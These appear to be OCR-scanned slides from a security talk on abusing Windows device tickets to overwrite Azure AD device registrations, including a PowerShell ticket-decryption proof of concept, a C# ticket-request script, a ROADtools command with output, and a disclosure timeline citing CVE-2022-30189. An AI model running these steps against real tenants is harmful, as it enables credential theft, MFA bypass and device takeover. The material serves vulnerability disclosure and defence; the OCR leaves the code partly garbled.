{ (ushort *)L"DeviceTicket::GetMSADeviceTicketImpl™, {ushort *)L"pwszScope™):
goto LAB 1800220857

(=3}

[= I
| I e
—

63 = (longlong %) 0x0;

g4 30 = 07

65 13 = 0x45;

66 iVars = WindowsCreateStringReference

67 (&

68 RuntimeClass Windows_Security Authentication Cnlineld CnlineldServiceTicketRequ
£t

69 ,0x45, local 48,&local 30)r

71 iVare < 0) {

12 RaiseException(iVa

74 |LAB_18002208¢c:

15 RaiseException(1lVar7,uVarli);

6 cVar? = (code ¥)swi(3):
77 1Var7 = (*pcVar2) ()r

78 return 1VarT;

78|}

g0 local cO {longlong *)0x0;

I= {longlong *)0x0) |
a2 {(**{code *¥*) {(*plVard + 0x10)) {}:

33| 1}

34 local_cZ = RoGetlActivationFactory(local 30, GUID bhekk0alZ_ %73 4077 %614 036l4clObc245,slocal_cO)r




Device tickets

« / UWP / Reference / Windows Runtime APl / Windows.Security. Authentication.Onlineld / ceav @ =

OnlineldServiceTicketRequest Class

Reference oy oo

Definition
Namespace: Windows.Security.Authentication.Onlineld

Provides the ability for an app to specify the service and policy that is used to authenticate a Live user to obtain & Edit

identity properties and tickets.




Device tickets

* Your device has it’s own Microsoft Account (MSA).
e Used when device specific authentication is needed.

* Tickets are cached in the HKCU (!) registry hive:
 HKCU\SOFTWARE\Microsoft\ldentityCRL\Immersive\production\Token\{GUID}

* Tickets are DPAPI encrypted, but with machine specific protection,
meaning any user on the machine can decrypt them.




Ticket enumeration POC

C:\Users\TPM> Add-Type System.Security
C:\Users\TPM> Skey_path
C:\Users\TPM> cd %kevy_path
HKCU: W SOFTWARE\Microsoft\IdentityCRL\Immersive\production\Tokeny> Schilds (Get-ChildItem %key _path | where { %_.Property
})
HKCU: \SOFTWARE\Microsoft\IdentityCRLAImmersive\production\Token\> foreach(%child in %childs)}{
fchild. | write-host
Shytes (Get-ItemProperty fchild.PSPath).
S had [Convert]::ToBasebdString($hytes[4..%bytes.length])
([Text.Encoding]::Unicode).GetString([Security.Cryptography.ProtectedData]: :Unprotect($bytes[4..%bytes.length], ENull
[Security.Cryptography.DataProtectionScope]::LocalMachine)) | write-host
»> }

E B B20sEE B B +890=-t=FwCwAhaEBAAUTIYBEU17XdBAZUTMGpUF/ gV KSBAAT 1 PuBR/ vaK yyRSANMTIBSqYWEPK f Kyhd LcO2omDwMO1hec juJO6TlobhBuj38cs+BPKTH I IndXbXm2MhELFx@/ f VS
+1NkE1uwDE156b5bE jbR2ZCAGPEKaYIriliDM7SOpVhF JTXhEPSxStDLNST7 1ipuEaIHwzUhn/ keBHY+nlXvohccrs67 BujkIPTukWdHFENcNIzZnBSMACrCIs J+whz 3¥hIwz zuHdgAgF sNUFUVHPQrFKES
2fEHg@uYINhE / mBhL2DPA2 8y xm3dNFFI7efB8GuqSDVEz 7 SMZKBOUPBRTUSAMOAJOtqly 2bVSc+G1V3vhaCPUCIPKSUSBrQl 8Xk3kDIgAACBvgoImz SyfeghF 2 g0vBE nk@qxYIEGEAMyZB] jks IW36sa+
ogZvoAudVitbCUKk41Bn2BtLL1VKoAFanjvEBCTEHHG/ zDdtGPI6+]PEYulkVpdSY 7YevyyzbSEBYRIIFrIGukKNxzNmc 1REKUOB T cCpYkOQW1518]dZ kIBKE JQHINSScU9q5Y UrdiPpXFxEBmnE4Idh@wnIx
P7P1ljokXoVa9AKkUKSoc33HzDE5qo5e0zY s ctFhfrwQHnefF30160rsT+PXagEGY X JMEEGKALHFWMEOWOG2T7 b08h 1 qUxyU1QC81A9bk /1 +hBpvEGBbasQs2eeBMI3TuWaQL7aTUBhhGye@mg3Th/ VarMpYwl
mOtDuoz 8yl zAmFEmK3GHhHT agDeVXe+7 bygh+rYboXnnWMMHE A FFzMARSSLalY T +HMIXAVT ke SIWFELLV1I1ITOKEN BROKERBstUIUDEKbbAHNBURMT 1XeM2j4pSoGU/ gVs kgdWXUeQeXd G x\Viims / videN
GwlEMAaMmpU3tWIBcdg+3A0==&p=; ;scope=service: :enterpriseregistration.windows.net: :MBI_55L




Requesting tickets

e Further reversing leads us to the exact WinRT API calls needed.

* App GUID for the registration:
* 98D5C072-656C-4720-AC21-B85E2ACBBES8S

* Registration endpoint ID:
* service::enterpriseregistration.windows.net::MBI_SSL




Putting together a ticket request script

using System;

using System.Collections.Generic;

using System.Ling;

using System.Text;

using System.Threading.Tasks;

using Windows.Security.Authentication.Onlineld;
namespace GimmeTokens

{

class Program

{

void (string[] args)

Task. ()
{
auth OnlineldSystemAuthenticator.Default;
req (
service::enterpriseregistration.windows.net::MBI SSL");
auth.ApplicationId ("98D5C072-656C-4720-AC21-B85E2ACBBE88" ) ;
res awalt auth. (req);
Console. (res.Identity.Id);
Console. (res.Identity.Ticket.Value);

(). OF




Obtaining a device ticket

FeKSPObM+EMU2

DiDbPKk3Y
bGTB2k12uDXX




Overwriting the current device




(ROADtools) X roadtx device -n intuneovw --deviceticket 't=EwCwAhaEBAAUoaZ|
+EMU2s0GeERHSWWePLVKDR /IvOm7bmGvP1pgICCHIWWU /VWL fexxUs jmWPSL97k1JaeUi+FoDcAXrZhIMTDLiXdiXgmN3DLF rGNHTV
yflveE/420V]/t+xupdksGeIfkRqfshkwXw/QooHnSMyXB4g29 j+yMZnwP1BzRKeVHXx0oLS2Xx1B7Jg0ZMwFYLpaSMrcs2g/SmSALM
yqolauaGYDZgAACFINDtBHdkBrgAGOILRkxfftafoEoQ23QBPHCr8sgJAbangk05xNy /C8 jUABDaUGTITQZ3VseMVpQ2A4r+Ai8]
tymKRMW+cqWaS1ETo9+RpISATLOPSKFKW)XOWLcOWTXh04z tQ7CoNBoyPPGXb I TMHVq3TTgxrhEMaENNSRTs3KcG+1BT+qGy4VkPa
4T8tx2gxb10PBOOQ1hDQHS6RbLGaSbr3YoQ6g2D jDbPKK3YLRICWLKERI T7pFKE3rLPNnAbHGEC+6UCS /QBTmERDLYTT jimlvolema:
Z6pBADGTB2Kk12uDXXW,/oLI22QHMULAZMLSATL190CQPVMXB3ZvImTeBsWd6totn1Iehge3vI@vkPIscouG2AQ==8&p="

Saving private key to intuneovw.key

Registering device

Device ID: e0bd98cf-dO9c-42ff-ba3d-2fad4355b447

Saved device certificate to intuneovw.pem

(ROADtools) 'y |

C:\Users\TPM\Desktop>dsregcmd /status

Azureddloined
Enterpriseloined
Domaindoined :
Virtual Desktop : NOT SET
Device Mame : DESKTOP-7BDUOCS

DeviceId : eBbdoBct-deoc-42ff-ba3d-2fad4355b447
Thumbprint : E34BD1429DA238D8625F8F2D1C8DF3D60145684477
DeviceCertificateValidity : [ 2823-83-21 89:51:18.886 UTC -- 2633-83-21 18:21:18.886 UTC ]
KeyContainerId : 9734B8ata-c3cd-4364-9ff8-calB5886686d
KeyProvider : Microsoft Platform Crypto Provider
TpmProtected : YES




Device retains original properties

Enabled

@ Yes

Policy details

Policy:
Policy state: Report-only
Result: Report-only: Success

Assignments

User
HI M

Application
Azure Active Directory PowerShell

Conditions

Sign-in risk
Mone

Device Platform
Windaws 10

w Matched

Mot configured

w Matched

Version Join Type

10.0.19041.928

Location

Leiden, NL
S Jo

Client app
Maobile Apps and Desktop clients

Device state
Compliant
Azure AD joined

User risk

Access controls

Grant Controls

Azure AD joined

MDM

Microsoft Intune

Mot configured

Mot configured

Mot configured

Mot configured

¥ Satisfied

Compliant

@ Yes




Attack summary

* Any user with a session on the device can request a device ticket,
which could be used to overwrite the device in Azure AD if it was
preregistered using Autopilot

* Overwrites the device in Azure AD and gives us a cert+private key that
is no longer protected with a TPM.

* No need to “steal” a PRT from TPM.

* No need for Administrative privileges at all.




Some bonus features

* Any user in the tenant can overwrite the device using the device
ticket.

* Device ticket stays valid after device wipe (for about 24 hours).

* The identity used to overwrite the device becomes the new device
owner, which means it can recover the BitLocker drive encryption
keys if these are stored in Azure AD (privesc to Administrator if user
has physical access).

* The original device keeps its link to Intune, and will keep reporting its
compliancy.

* Device retains its compliancy status.



Complete chain

* A few commands in a non-administrator session of the victim were
enough to:
* Request an SSO token to register a new device.
* Request a device ticket to overwrite the legitimate, compliant device.
* Gain access to:
* Persistent Primary Refresh Token for the victim user.

* Including MFA claim transferred from the SSO token.

e Compliant device claim from Intune to satisfy strict Conditional Access policies.
* Bypassing:

* MFA

* Hardware security of secrets (TPM)

* The need to dump LSASS or have Administrator privileges.



Disclosure timeline

* Registering a device via SSO was reported to MSRC in December 2020
* Final fixes rolled out in September 2021

* Intermediate fixes also for specific platforms

* No longer possible to use SSO tokens for device registration

* Device overwriting via device ticket was reported in May 2021.

e Patched in May 2022 via Windows update and assigned CVE-2022-
30189

* Final server-side enforcements rolled out+febraary2623—
yvesterday



Fixed?

* Device registration method seems unchanged
* Still possible to overwrite a device in AAD with device ticket
* Compliancy status is removed on overwrite

* Old device was still linked to Intune, changes in compliancy status
were synced to the rogue device in Azure AD

* The last part was fixed yesterday night ©



Conclusion

* Secrets in hardware were not efficiently protected.
* Possible to obtain a PRT by simply registering a new device.
* Low privilege user on the device could take over the device identity.

* Most of this is fixed if you patched your endpoints
* Some bypasses remain (but that is for another time)



All tools in the talk are based on the ROADtools framework/library
Open source at https://github.com/dirkjanm/ROADtools/

n

ROADt6ols
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